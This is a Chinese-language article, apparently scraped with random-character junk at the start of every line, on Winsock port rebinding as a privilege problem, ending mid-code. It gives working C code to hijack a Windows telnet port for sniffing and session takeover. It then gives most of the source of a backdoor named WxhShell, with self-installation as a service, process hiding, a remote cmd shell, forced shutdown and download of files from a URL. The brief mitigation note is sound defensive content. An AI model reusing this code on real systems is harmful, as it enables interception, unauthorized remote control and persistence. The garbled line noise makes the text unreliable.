在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
&L_(yJ~- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
tFG&~tNc $[H3O(B0* saddr.sin_family = AF_INET;
Z5v\[i@H! xw`Pq6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
DRal{?CH aK'BC>uFI bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
}LOAT$]XI W<\KRF$S; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
'v?Z~"w= <"6}C)G 这意味着什么?意味着可以进行如下的攻击:
Y\s@'UoVN U4Il1|
M& 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Uh{|@D {"-uaH>, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
K;Fy&p^d $vx]\`
^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
(V#5Cs,o: Rkgpa/te" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
dxsPX=\: T-0fVTeN 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
|pA3ZWm <8~bb-U$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
p4[cPt ~C YB*I'm3q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
><^
, cJ=0zEv #include
^i:%0"[*^i #include
4YMX;W #include
T@Mrbravc #include
T'!7jgk{: DWORD WINAPI ClientThread(LPVOID lpParam);
>We4F2? int main()
C8ek{o)%W {
"dQ02y WORD wVersionRequested;
P 9c! DWORD ret;
5 Sl vCL WSADATA wsaData;
-Q9} gaH_ BOOL val;
NSI$uS6 SOCKADDR_IN saddr;
54r/s#|-3 SOCKADDR_IN scaddr;
>cJf D9-<h int err;
x}B3h9] SOCKET s;
u7L&cx SOCKET sc;
7Ji|x{`` int caddsize;
9vZ:oO HANDLE mt;
}LeizbU DWORD tid;
_Oc5g5_{ wVersionRequested = MAKEWORD( 2, 2 );
4j_\_:$w< err = WSAStartup( wVersionRequested, &wsaData );
&L`^\B]k| if ( err != 0 ) {
UB^OMB-W.m printf("error!WSAStartup failed!\n");
6
);8z!+ return -1;
3127 4O }
zi%Ql|zI~ saddr.sin_family = AF_INET;
H< 51dJn~ 3n_N^q} //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Ui|z#{8& LT[g
+zGB saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Opavno%& saddr.sin_port = htons(23);
XSHK7vpMf if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Zo`_vx/{j {
l$Y*ii printf("error!socket failed!\n");
q]Vxf!0*> return -1;
x/NjdK }
z>]P_E~`} val = TRUE;
G9_7jX* //SO_REUSEADDR选项就是可以实现端口重绑定的
R`KlG/Tk if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
:_k5[KT.]9 {
Y#[xX2z9 printf("error!setsockopt failed!\n");
Zz/
z7~{ return -1;
};Pdn7;1G: }
}i$ER,hXh //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
fj|X`,TiZ; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
z94#:jPmG //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
4ibOVBG:*, 8B!MgNKV if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
,J(shc_F {
mRO@ZY;5 ret=GetLastError();
HjCe/J ; printf("error!bind failed!\n");
P](/5KrK return -1;
[,L>5:T }
H7FOf[3' listen(s,2);
otA'+4\ while(1)
S ^]mF>xX8 {
S-5O$EnD caddsize = sizeof(scaddr);
!LM9 //接受连接请求
AO]k*N,N sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
2Q%*`
vCuV if(sc!=INVALID_SOCKET)
!?)aZ |r {
J4%"38l mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ZZM;%i-B if(mt==NULL)
K;7ea47m N {
BD-
c<K" printf("Thread Creat Failed!\n");
f cnv[B..{ break;
BdB9M8fM }
?{L5=X@$$ }
n"w>Y)C(X) CloseHandle(mt);
U1Y0G[i) }
cs9"0&JX closesocket(s);
j1HeX WSACleanup();
v:"Y return 0;
vddl9"V) }
l?A~^4(5a/ DWORD WINAPI ClientThread(LPVOID lpParam)
=6a=`3r!I {
Th
X6e SOCKET ss = (SOCKET)lpParam;
b#-=Dbe SOCKET sc;
lWDSF]ZYV unsigned char buf[4096];
r{{5@ SOCKADDR_IN saddr;
ASB3|uy _ long num;
;OC{B}.vH DWORD val;
z+KZ6h DWORD ret;
#+H3b!8= //如果是隐藏端口应用的话,可以在此处加一些判断
>}B53.;.k //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
d ATAH}r& saddr.sin_family = AF_INET;
F. I\?b saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
g_@b- :$Yq saddr.sin_port = htons(23);
~l('ly if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Pv|sPIIB7 {
@~&|BvK% \ printf("error!socket failed!\n");
&14xYpD< return -1;
m=TZfa^r }
^fV-m&F)K* val = 100;
qOAP_\@T if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-Un"z6* {
Gzp*Vr ret = GetLastError();
g 'Wr+(A_ return -1;
3e>U(ES }
Fr-Vq=j& if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
XT\2 {
ZFtJoGaR ret = GetLastError();
<E:_9#Z0sc return -1;
^9]g5.z: }
qT01@Bku if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
OKAmw>{ {
a^Z=xlJ/uZ printf("error!socket connect failed!\n");
*uSlp_;kB closesocket(sc);
]f5vk closesocket(ss);
_;R#B`9Iu return -1;
b81cq, }
q;#bFPh while(1)
36Lf8~d4"h {
G5lBCm //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
RU~Pa+H //如果是嗅探内容的话,可以再此处进行内容分析和记录
11Uu5e!. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
W)^%/lAh num = recv(ss,buf,4096,0);
KO/#t~ if(num>0)
-c{ Y+M` send(sc,buf,num,0);
_Ea1;dJmq else if(num==0)
IR?nH`V break;
iVo-z# num = recv(sc,buf,4096,0);
3NdO3-~) if(num>0)
VF +g+~ send(ss,buf,num,0);
%L$?Mey else if(num==0)
(,|eE)+ break;
"Xl"H/3r }
YDZB$?&a closesocket(ss);
[;l;kom closesocket(sc);
sGh TP/ return 0 ;
=BbXSwv'( }
a/3yn9`sQ hu7oJ H :;IZ|hU ==========================================================
\w&R`;b8w QIdml*Np?H 下边附上一个代码,,WXhSHELL
fF2]7: zn0%%x+!g ==========================================================
?m9=Me ;iQw2XhT #include "stdafx.h"
] VEc9? 0g
Hd{H= #include <stdio.h>
tOZ-]>U #include <string.h>
#TV #* #include <windows.h>
\^!<Y\\ #include <winsock2.h>
I0;gTpt9 #include <winsvc.h>
ma/<#l^} #include <urlmon.h>
jthyZZ C0khG9,BL #pragma comment (lib, "Ws2_32.lib")
Y=H_U$ #pragma comment (lib, "urlmon.lib")
iG"1~/U h\5~&}Hp #define MAX_USER 100 // 最大客户端连接数
:.f(}sCS #define BUF_SOCK 200 // sock buffer
a/rQ@ c> #define KEY_BUFF 255 // 输入 buffer
,#9i=gp l[<o t9P[ #define REBOOT 0 // 重启
dz/3=0
#define SHUTDOWN 1 // 关机
jF(R;?, P,#l~ \ #define DEF_PORT 5000 // 监听端口
i?V:+0#q\] $O fZp<M #define REG_LEN 16 // 注册表键长度
j'Gezx^.<e #define SVC_LEN 80 // NT服务名长度
\5a;_N[Ed ^* CKx // 从dll定义API
0d89>UB-8q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
.3SP#mI typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
HIvSh6|0p typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
:c(I-xif typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Yf1%7+V35 !u/c'ZLZ> // wxhshell配置信息
D+w? struct WSCFG {
@Y ?p-& int ws_port; // 监听端口
67||wh.BU char ws_passstr[REG_LEN]; // 口令
[Kb)Q{=) int ws_autoins; // 安装标记, 1=yes 0=no
1M?Sl?+j char ws_regname[REG_LEN]; // 注册表键名
MRHRa char ws_svcname[REG_LEN]; // 服务名
j*~z.Q | char ws_svcdisp[SVC_LEN]; // 服务显示名
f%P#. char ws_svcdesc[SVC_LEN]; // 服务描述信息
l=a<=i char ws_passmsg[SVC_LEN]; // 密码输入提示信息
$ dKo} int ws_downexe; // 下载执行标记, 1=yes 0=no
II\}84U2
. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
#wGOlW;R char ws_filenam[SVC_LEN]; // 下载后保存的文件名
R$"> Wi*HLP!lNC };
Z5*O\kJv 3qDuF // default Wxhshell configuration
7p{2&YhB struct WSCFG wscfg={DEF_PORT,
qg*xdefQ% "xuhuanlingzhe",
20M]gw] 1,
"rrE_ "Wxhshell",
d1NKVMeWr "Wxhshell",
H.O&seY "WxhShell Service",
V9;IH<s: "Wrsky Windows CmdShell Service",
mE9ytFH\k "Please Input Your Password: ",
ph3dm\U. 1,
uK[gI6M "
http://www.wrsky.com/wxhshell.exe",
DRRy5+,I "Wxhshell.exe"
n]K {-C; };
|KSoS#Y y)7;"3Q< // 消息定义模块
`Tr !Gj_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
SPINV. char *msg_ws_prompt="\n\r? for help\n\r#>";
7V"Jfh4_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
uzT>|uu$ char *msg_ws_ext="\n\rExit.";
hgdr\
F char *msg_ws_end="\n\rQuit.";
iUS?xKN$~- char *msg_ws_boot="\n\rReboot...";
LOk J char *msg_ws_poff="\n\rShutdown...";
W)`H(J char *msg_ws_down="\n\rSave to ";
O5JG!bGE_F T
0?9F2 char *msg_ws_err="\n\rErr!";
TezwcFqH char *msg_ws_ok="\n\rOK!";
]w!=1( ?!bA#aSbl5 char ExeFile[MAX_PATH];
9n3. Ar int nUser = 0;
GJBMaT HANDLE handles[MAX_USER];
n%{oFTLCo int OsIsNt;
Lnl-han% >UV=k :Q SERVICE_STATUS serviceStatus;
fBPJ8VY SERVICE_STATUS_HANDLE hServiceStatusHandle;
vARZwIu^D aY%{?8PsB // 函数声明
eGI&4JgJ. int Install(void);
/$UWTq/C7
int Uninstall(void);
Bs<LJzS{V int DownloadFile(char *sURL, SOCKET wsh);
9YwS"~Q =w int Boot(int flag);
z|zd=3c void HideProc(void);
Kxsj_^&|i int GetOsVer(void);
U5j0i] int Wxhshell(SOCKET wsl);
.U,>Qn4/ void TalkWithClient(void *cs);
?WrL<?r)}U int CmdShell(SOCKET sock);
?M04 cvm int StartFromService(void);
V`LW~P;
int StartWxhshell(LPSTR lpCmdLine);
TA+/35^? 4$4n9`odE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ypY7uYO^" VOID WINAPI NTServiceHandler( DWORD fdwControl );
t\lx*_lr oRl@AhS // 数据结构和表定义
!)uXCg9U SERVICE_TABLE_ENTRY DispatchTable[] =
C]
|m|` {
6hqqZ {wscfg.ws_svcname, NTServiceMain},
,jMV
#H[
{NULL, NULL}
p;{w0uld" };
#M8>)o c 15!b]': // 自我安装
&sS]h|2Z5 int Install(void)
q<A,S8'm {
Jry643K>:; char svExeFile[MAX_PATH];
2$oGy HKEY key;
tOw[ strcpy(svExeFile,ExeFile);
s_`y"'^ t($z+C< // 如果是win9x系统,修改注册表设为自启动
$dHD if(!OsIsNt) {
Z/I`XPmk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
A;Uw
b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2pAshw1G RegCloseKey(key);
axd9b, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:,=Z)e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Re'Ek RegCloseKey(key);
p2o66t return 0;
)hK1W\5 }
+4Lj}8, }
SlUt&+) }
wGA%h.[M| else {
TWTRMc;z+ ~uu~NTz // 如果是NT以上系统,安装为系统服务
y1hJVYE2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
69/qH_Y if (schSCManager!=0)
'#x<Fo~hT {
]mvVX31T SC_HANDLE schService = CreateService
QjwCY=PK! (
fT_swhIO schSCManager,
cOEzS wscfg.ws_svcname,
=u]FKY wscfg.ws_svcdisp,
9:6d,^X SERVICE_ALL_ACCESS,
AkRZUj\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
XvW
$B| SERVICE_AUTO_START,
YiPp#0T[Gx SERVICE_ERROR_NORMAL,
RlTVx: svExeFile,
b1qli5 NULL,
nzORG NULL,
;^:$O6J7T~ NULL,
5Ai$1'*p NULL,
#n}n
% NULL
esQRg~aCGy );
^7~w yAr if (schService!=0)
UQ 'U
4q {
- dt<w;>W CloseServiceHandle(schService);
\ g[A{ CloseServiceHandle(schSCManager);
~j2=hkS
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
6KI< J*Wz` strcat(svExeFile,wscfg.ws_svcname);
LlG~aGhel if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
& A<Pf.Us RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
da&f0m U RegCloseKey(key);
F
/:2+ return 0;
T"m(V/L$W }
}ZWeb#\ }
>zDnJb&"& CloseServiceHandle(schSCManager);
DweWFipyPi }
?V&[U }
>, }m=X8 ZVek`Cc2 return 1;
".SQ*'Oc }
Sm%MoFf oos35xV. // 自我卸载
BO p&s>hI int Uninstall(void)
N]sX
r {
q}["Nww- HKEY key;
6gfdXVN5 V-w[\u if(!OsIsNt) {
o*u A+7n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%R{clbbbn RegDeleteValue(key,wscfg.ws_regname);
G#4cWn' RegCloseKey(key);
BE}qwP^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7M1*SC RegDeleteValue(key,wscfg.ws_regname);
P( W8XC RegCloseKey(key);
"zO+!h'o return 0;
<ZNa` }
| JL47FR }
\(LHcvbb }
WiL~b
=fT else {
jL)aU> kN 4>^ %_Xj[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
BI=Ie? if (schSCManager!=0)
hGF(E* {
m-a_<xo SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
>}/"gx if (schService!=0)
s^9N7' {
3P p*ID if(DeleteService(schService)!=0) {
f(?`PD[ CloseServiceHandle(schService);
6#5@d^a CloseServiceHandle(schSCManager);
/7h%sCX return 0;
6|LDb"Rvy }
'
n~N*DH CloseServiceHandle(schService);
3<msiCP }
Xb3vvHdI CloseServiceHandle(schSCManager);
n@g[VR2t }
g m], }
cVn7jxf S-yd-MtQp return 1;
Li=l/ }
,^o^@SI)
&H5
6mL{ // 从指定url下载文件
zAB-kE\) int DownloadFile(char *sURL, SOCKET wsh)
&TWO/F+Y {
M7,|+W/RK HRESULT hr;
Zml9ndzT char seps[]= "/";
,-DE;l^Q= char *token;
G68N@g char *file;
/yrR
f;}<O char myURL[MAX_PATH];
-3_kS/ char myFILE[MAX_PATH];
oRWsi/Zf #0Oqw=F strcpy(myURL,sURL);
p7H*Ff` token=strtok(myURL,seps);
n7<<}wcV while(token!=NULL)
s9`T% pg {
3y 3
U`Mo file=token;
$X*$,CCIB token=strtok(NULL,seps);
(%+DE4? }
}>frK#S &<^@/osi GetCurrentDirectory(MAX_PATH,myFILE);
tg8VFH2q.z strcat(myFILE, "\\");
<"[}8 strcat(myFILE, file);
J?%D4AeS]v send(wsh,myFILE,strlen(myFILE),0);
)s=z i" send(wsh,"...",3,0);
c@nl;u)n hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
&
bw1 if(hr==S_OK)
[sKdIw_ return 0;
.=@M>TZM else
q}\\p return 1;
5&9(d_#H >9u6@ }
!&'xkw ` /
V{w< // 系统电源模块
<
m9O0 int Boot(int flag)
.cZ&~ N {
am"/Anml| HANDLE hToken;
p6HZ2Q:a TOKEN_PRIVILEGES tkp;
s`
9zW, x(=kh%\; if(OsIsNt) {
nev*TYY?A OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
@JEr/yy LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ReK@~#hLY tkp.PrivilegeCount = 1;
SpkVV/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
s)M2Z3>+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
E$ngmm[ if(flag==REBOOT) {
;!~;05^iD if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
PO%]Jme return 0;
/e7'5#v }
k=~?!+p7 else {
+p cj8K% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
\
qs6% return 0;
Iiy:<c }
-91l"sI }
?xf;#J+{8 else {
Czci6Lz if(flag==REBOOT) {
q?^0
o\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
VG8rd'Z return 0;
fFd9D=EW. }
yav)mO~QU6 else {
<HzAh<_@F if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
/ P:Hfq return 0;
5PPy+36<~ }
7GIv3Dc }
18n84RkI9 zgRP!q<9tt return 1;
{//F>5~[ }
n5JB'F) a[$.B2U // win9x进程隐藏模块
(Dar6>! void HideProc(void)
kCwTv:) {
- dOT/%Ux !}PFi T^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
z67=v9+7 if ( hKernel != NULL )
TcP1"wc {
_5K_YhT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
/SUV'J) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
~c="<xBE FreeLibrary(hKernel);
b"Mq7&cf }
~`})x(! _eQP0N return;
!Q(xOc9>Ug }
.#:,j1L"53 9V],X=y~ // 获取操作系统版本
n>E*g|a int GetOsVer(void)
`JE>GZY {
38m%ifh) OSVERSIONINFO winfo;
PD}R7[".> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
*3/7wSV: GetVersionEx(&winfo);
_M&.kha if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
N#u8{\ |8] return 1;
p-pw*wH0 else
g&Z7h4!\ return 0;
4v|/+J6G }
+r0eTP=zf AIm$in`P // 客户端句柄模块
/,Rca1W int Wxhshell(SOCKET wsl)
L,
{rMLM% {
?&"^\p SOCKET wsh;
VU/W~gb4"A struct sockaddr_in client;
Xo@YTol DWORD myID;
$&8h=e~]- BJ9sR.yX62 while(nUser<MAX_USER)
.UrYF 0 {
;-?ZI$ int nSize=sizeof(client);
PEBFN wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
mbBRuPEa=u if(wsh==INVALID_SOCKET) return 1;
}o^A^ i$ L]X[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
QklNw6, if(handles[nUser]==0)
y"\,%. closesocket(wsh);
M_1Tx else
]VWfdG nUser++;
16QbB; }
$a\Uv0:xRx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
RW7oL:$dt ,%h!% nz! return 0;
[S]!+YBK }
EyPJvs wz+5
8( // 关闭 socket
EB>B,# void CloseIt(SOCKET wsh)
cHL]y0> {
}[z<iij4 closesocket(wsh);
A$~xG( nUser--;
)E:,V~< 8 ExitThread(0);
W3/ 7BW` }
V+qJrZ,i 90T%T2K // 客户端请求句柄
5ttMua <G? void TalkWithClient(void *cs)
Q)S>VDLA {
V-_/(xt* +%wWSZ<# SOCKET wsh=(SOCKET)cs;
Mjj}E
>& char pwd[SVC_LEN];
ck+b/.gw` char cmd[KEY_BUFF];
zq;DIWPIoJ char chr[1];
5_)@B]~nM int i,j;
5!AV!A_Jp *J_iXu| while (nUser < MAX_USER) {
BMNr<P2li A=%k/ if(wscfg.ws_passstr) {
90s;/y( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
h}|6VJ@. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
P>Q{He: //ZeroMemory(pwd,KEY_BUFF);
kT^*>=1 i=0;
YZGS-+ while(i<SVC_LEN) {
\&iil =H8! mP pvZ // 设置超时
SFn 3$ rh fd_set FdRead;
IyS" struct timeval TimeOut;
:p<kQ4
FD_ZERO(&FdRead);
{pDTy7!Hs FD_SET(wsh,&FdRead);
*KK[(o}^J- TimeOut.tv_sec=8;
v**z$5x9 TimeOut.tv_usec=0;
lc[XFc int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
dTN$y\
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
xQJIM. 9g
Bjxqm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
qL|
5-(P pwd
=chr[0]; sEce{"VC
if(chr[0]==0xd || chr[0]==0xa) { [$l"-*s4
pwd=0; \sK:W|yy
break; j z~[5m}J
} $n= O
i++; Vkr`17`G
} X>8-`p
Di*]ab
// 如果是非法用户,关闭 socket $!G` D=
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ljPq2v ]
} r6`\d k
/_V'DJV
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fVe@YqNa
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +z\\VD
k(P3LJcYQ
while(1) { 6Rcua<;2P
g nt45]@{
ZeroMemory(cmd,KEY_BUFF); ?6i;)eIOI
H]s4% 9T
// 自动支持客户端 telnet标准 W`$[j0
j=0; S%kS#U${|
while(j<KEY_BUFF) { Dg~
[#C-
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y%4 Gp
cmd[j]=chr[0]; 8xgJSk
if(chr[0]==0xa || chr[0]==0xd) { IX9K.f
cmd[j]=0; o{V#f_o
break; nfX12y_SXL
} HsnG4OE
j++; cw;co@!$
} Gn59yG!4
~%s}S
// 下载文件 gN?0m4[$i
if(strstr(cmd,"http://")) { +Hj/0pp
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3 > |uF
if(DownloadFile(cmd,wsh)) iK!dr1:wSw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Uw
^FcW
else cZ|lCy^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EKuSnlTXba
} R2 lXTW*
else { s~J=<)T*6
V&i2L.{G)
switch(cmd[0]) { 'wZ_4XjD
3B{[%#vO
// 帮助 dQ9
ah
case '?': { e .l!3xY2'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ne4c%?>t
break; R"+wih
} QU/fT_ORw
// 安装 tz4
]hF
case 'i': { #~k[ 6YR 0
if(Install()) 5 y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q[PK`*2)
else (a.1M8v+Sg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \9)#l#m
break; #Fs|f3-@
} ?x3Jv<G0*
// 卸载 m'x;,xfY&F
case 'r': { Es.nHN^]%K
if(Uninstall()) c@R; /m:R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `~h4D(n`
else 8>N wCjN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {.CMD9F[
break; Jdj?I'XtY
} 5HKW"=5Cf
// 显示 wxhshell 所在路径 l -.(Ez*
case 'p': { eLfvMPVo
char svExeFile[MAX_PATH]; CzVmNy)kl
strcpy(svExeFile,"\n\r"); nY_?Jq
strcat(svExeFile,ExeFile); $`ztiVu3
send(wsh,svExeFile,strlen(svExeFile),0); T3N"CUk
break; a1c1k}
} ZFvyL8o
// 重启 ^jD1vUL 2:
case 'b': { a#0;==#
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A:# k
if(Boot(REBOOT)) "A3dvr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g"hJ{{<
else { Vz%OV}\
closesocket(wsh); }Ln@R~[
ExitThread(0); '6-$Xq0^E
} {fDTSr?/
break; N|:'XwL
} #X`8dnQZ
// 关机 S%mfs!E>
case 'd': { PmX2[7
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1||+6bRP
if(Boot(SHUTDOWN))
CN&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6GL=)0Ah
else { ^3]UZ@
closesocket(wsh); D'_Bz8H!p
ExitThread(0); <l,o&p,>|c
} OB-Q /?0
break; q]% T:A=
} Pbu{'y3J
// 获取shell d8o53a]
case 's': { 9X}I>
CmdShell(wsh); LT@OWH
closesocket(wsh); Y&.UIosWb
ExitThread(0); T*[
VY1
break; 4QHS{tj
} C$yq\C+I
// 退出 kv{}C)kt3
case 'x': { &1|?BZv
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zaimGMJ ,
CloseIt(wsh); PWr(*ZP>hI
break; 5F"|E-;
} _BM4>r?\
// 离开 tY|8s]{2
case 'q': { kOL'|GgK
send(wsh,msg_ws_end,strlen(msg_ws_end),0); e [h8}F
closesocket(wsh); 'jg3
WSACleanup(); ]< l6s
exit(1); Z.PBu|Kx
break; 'tgKe!-@
} u.XQ&
} O[^%{'
} G3i !PwW
;,h/
// 提示信息 -Z-f1.Dm5
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (N-RIk73/O
} feM6K!fL`
} kOwMs<1J
2B0W~x2=
return; 4BL;FO
} }L=/A7Nk>
]}="m2S3
// shell模块句柄
df}r% i
int CmdShell(SOCKET sock) o G*5f
{ M9\#Aq&\i
STARTUPINFO si; K)tQ]P
ZeroMemory(&si,sizeof(si)); 1$/MrPT(b
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d[^KL;b?6
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5|0,X<&
PROCESS_INFORMATION ProcessInfo; HAz By\M{
char cmdline[]="cmd"; Fxs;Fp
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kb#4ILA
return 0; ?Ea;J0V
} C@ZK~Y_g
z
/KK)u(q
// 自身启动模式 {Bs~lC$
int StartFromService(void) 5@IB39
{ GG064zPq7
typedef struct E907fX[R~
{ V]OmfPve
DWORD ExitStatus; :o-,SrORM
DWORD PebBaseAddress; zLs|tJOVp
